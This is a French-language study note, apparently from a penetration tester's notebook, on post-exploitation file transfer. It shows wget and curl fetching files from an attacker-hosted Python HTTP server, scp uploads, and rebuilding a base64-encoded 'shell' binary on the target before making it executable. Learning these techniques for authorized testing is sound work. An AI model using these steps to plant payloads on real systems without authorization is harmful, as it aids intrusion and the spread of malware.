Transferring Files

📌 Introduction

Dans le cadre d’un test d’intrusion, il est frĂ©quent de devoir transfĂ©rer des fichiers vers ou depuis la machine cible. Ces fichiers peuvent ĂȘtre :

  • Des scripts d’énumĂ©ration (comme linpeas.sh)

  • Des exploits locaux

  • Des reverse shells ou payloads personnalisĂ©s

  • Des fichiers de configuration, des rĂ©sultats, voire des flags.

Quand on dispose d’un shell interactif complet (ex. SSH), cela ne pose pas de difficultĂ©. En revanche, lorsqu’on obtient un shell limitĂ© (reverse shell, web shell
), on doit souvent ruser pour transfĂ©rer les fichiers.

Voici les principales mĂ©thodes que j’ai Ă©tudiĂ©es et que je peux appliquer selon la situation.


🌐 MĂ©thode 1 — Serveur HTTP Python + wget ou curl

C’est l’approche que j’utilise le plus souvent. Elle consiste Ă  hĂ©berger le fichier sur ma machine attaquante via un petit serveur HTTP, puis Ă  le tĂ©lĂ©charger depuis la machine cible.

📌 Étapes

CÎté attaquant :

Je me place dans le répertoire contenant le fichier à transférer, puis je lance :

python3 -m http.server 8000

Cela met en place un serveur HTTP sur le port 8000.

CÎté cible :

  • Si wget est disponible :

    wget http://<MON_IP>:8000/fichier
  • Si curl est utilisĂ© :

    curl http://<MON_IP>:8000/fichier -o fichier

    ⚠ Cette mĂ©thode suppose que la cible a accĂšs Ă  Internet (ou au moins Ă  ma machine via l’IP VPN).


🔐 MĂ©thode 2 — scp (copie via SSH)

Si j’ai des identifiants valides SSH sur la machine cible, je peux envoyer un fichier directement via la commande scp :

scp fichier user@ip_cible:/tmp/fichier

Je l’utilise surtout lorsque je suis dans un contexte de post-exploitation et que l'accùs SSH est disponible.


🧬 MĂ©thode 3 — Encodage en Base64

Certaines machines ne disposent pas de wget, curl, ou ne peuvent pas sortir vers Internet. Dans ce cas, je peux encoder mon fichier en base64, copier/coller la sortie dans le shell distant, puis le décoder.

📌 Étapes

Sur ma machine :

base64 shell -w 0

Je copie ensuite la chaßne générée.

Sur la cible :

echo "<sortie_base64>" | base64 -d > shell
chmod +x shell

🧠 Cette mĂ©thode fonctionne mĂȘme dans les contextes trĂšs restreints, bien qu’elle soit plus lente et fastidieuse.


✅ VĂ©rification de l’intĂ©gritĂ©

a. Vérification du format :

file shell

Permet de confirmer que le binaire est valide (ex. ELF 64-bit).

b. Vérification par hash MD5 :

Je compare le hash du fichier original et du fichier transféré :

md5sum shell

Les deux valeurs doivent ĂȘtre identiques.


🔎 Synthùse

Méthode
Contexte idéal
Avantages
Inconvénients

Python HTTP Server

Shell reverse, machine sortante

Rapide, simple

Nécessite accÚs réseau sortant

SCP

AccĂšs SSH disponible

Sécurisé, direct

Nécessite mot de passe ou clé

Base64

Aucun outil réseau disponible

Fonctionne mĂȘme en environnement trĂšs restreint

Long, fastidieux


🧠 Ce qu’il faut retenir

Le transfert de fichiers est une compĂ©tence fondamentale en post-exploitation. La mĂ©thode utilisĂ©e dĂ©pend du contexte rĂ©seau, des outils disponibles et des permissions sur la machine cible. Dans tous les cas, il est crucial de pouvoir s’adapter et de connaĂźtre plusieurs techniques pour pallier les restrictions rencontrĂ©es.


Mis Ă  jour